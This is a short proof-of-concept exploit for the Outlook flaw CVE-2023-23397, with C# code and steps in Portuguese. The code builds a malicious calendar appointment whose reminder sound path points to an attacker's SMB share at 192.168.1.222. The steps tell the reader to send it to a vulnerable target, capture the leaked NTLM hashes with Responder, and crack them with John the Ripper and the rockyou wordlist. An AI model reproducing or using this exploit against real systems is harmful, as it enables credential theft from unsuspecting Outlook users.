
CVE-2023-23397 C# PoC
CVE-2023-23397 PoC em C#
1- baixe o msgkit
2- edite a classe appointment e adicione o abaixo:

3- crie uma nova classe dentro do projeto para definir as propriedades do arquivo msg:
using MsgKit.Enums;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace MsgKit
{
class Program
{
static void Main(string[] args)
{
using (var appointment = new Appointment(
new Sender("[email protected]", "moneertv"),
new Representing("[email protected]", "moneertv"),
"CVE-2023-23397"))
{
appointment.Recipients.AddTo("[email protected]", "muneer aqraa");
appointment.Subject = "CVE-2023-23397";
appointment.Location = "Neverland";
appointment.MeetingStart = DateTime.Now.Date.AddDays(2).Date;
appointment.MeetingEnd = DateTime.Now.Date.AddDays(3).Date;
appointment.AllDay = true;
appointment.BodyText = "CVE-2023-23397";
appointment.BodyHtml = "<html><head></head><body><b>testing CVE-2023-23397</b></body></html>";
appointment.SentOn = DateTime.UtcNow;
appointment.Importance = MessageImportance.IMPORTANCE_NORMAL;
appointment.IconIndex = MessageIconIndex.UnsentMail;
appointment.PidLidReminderFileParameter = @"\\192.168.1.222\";
appointment.PidLidReminderOverride = true;
appointment.Save(@"C:\Users\Moneer\Desktop\exploits\CVE-2023-23397\MsgKit-master\generated email msg\dirty.msg");
}
}
}
}
4- altere as propriedades do tipo de saída do projeto para console:

5- execute o projeto para gerar o dirty.msg
6- envie a mensagem para um alvo vulnerável e aguarde até que o lembrete da reunião seja ativado.
6-2- enquanto aguarda, na máquina Kali cujo IP colocamos na classe principal, execute o comando abaixo para continuar ouvindo por qualquer um que tenha mordido a isca: # responder -I eth0 -v
7- depois de obter os hashes, armazene-os em um arquivo e execute o john ripper nos hashes contra uma wordlist (ex: rockyou)